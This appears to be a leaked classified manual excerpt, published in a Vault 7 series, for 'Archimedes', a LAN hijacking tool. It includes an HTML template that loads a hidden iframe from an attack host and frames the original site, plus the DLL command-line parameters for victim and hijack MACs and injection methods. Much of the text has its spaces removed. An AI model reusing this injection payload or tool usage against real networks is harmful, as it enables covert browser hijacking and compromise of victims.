Vault 7: Projects

This publication series is about specific projects related to the Vault 7 main publication.
SECRET//NOFORN
SECRET//NOFORN
height: 100%;
width: 100%;
}
</style>
</head>
<body>
<iframe src="http://10.0.0.11/attack.html" frameborder="0" width="0" height="0">
</iframe>
<iframe src="http://10.0.0.11/?" frameborder="0" width="100%"
height="100%"></iframe>
</body>
</html>
(S//NF)TheattackURLwillbereplacedwiththatspecifiedbytheuserandthesecondURLwillredir ecttheclient
totheoriginaltarget.Theresultisawebpagethatlooksliketheoriginaltarget.Itispossibletodetectth e
modificationbyexaminingt hepagesource.
(C)FIREANDFORGETSUPPORT
(S//NF)TheArchimedesDLL(f32.dllorf64.dll)andArchimedesShutdownDLL(fs32.dll,fs64.dll)havebeen
modifiedtosupporttheFireandForget(F&F)specification(version2).InadditiontotheAPIchanges,thisrequires
anewwayoflocatingtheconfigurationfileanddefiningalocationforlogfilesandtemporaryfilescreatedbythe
program.
(S//NF)TheF&FDLLusesthetemporaryfolderassociatedwiththeinjectiontargetasalocationforthesefiles.
ThisfoldercanbeidentifiedastheTEMPenvironmentvariable.
(S//NF)TheF&Fspeci ficationprovidesforargumentpassing.Archimedesadd stwooptionalargumentsth atcanbe
usedtocontrolthebehaviorofthetoolinF&Fmode.Theseargumentsdefinethevaluestobeusedfor
VERIFY_ROUTEandI NJECTION_METHOD.NotethatiftheINJECTION_METHODisspecified,thenitmustbe
precededbytheVERIFY_ROUTEoption.ThefollowingisanexamplecommandlinefortheF&FDLL:
[VICTIMMAC][HIJACKMAC][MILLISECONDS][URL][VERIFY_ROUTE] [INJECTION_METHOD]
(S//NF)VERIFY_ROUTEis(TRUEorFALSE)a ndINJECTION_METHODis(HIDDE N_IFRAMEorDOUBLE_FRAMEor
META_REFRESH).TheVERIFY_ROUTEparametercanb especifiedwithouttheINJECTION_METHOD.
(S//NF)TheArchimedesDLLreturnstheappropriateerrorcodetoindicatethatitshouldnotbeunloadedfrom
memorybythecallingprocess.TheDLLwillunload afterperformingasuccessfulattackagainstthetarget.Thelog
filecanbeusedtotracethebehavioroftheArchimedesprogram.
(S//NF)TheArchimedesShutdownDLLsignalstherunninginstanceofArchimedestogracefullyshutdown.Itcan
berunasaF&FDLLa ndreturnsanerrorcodeindicatingthatthecallingprocesscanunloadit.
(U)APPLICATIONDEFAULTS
(S//NF)ThemodificationsintroducedwithArchimedes1.0addnewcapabilities,butdonotchangethedefault
behavioroftheoriginaltool.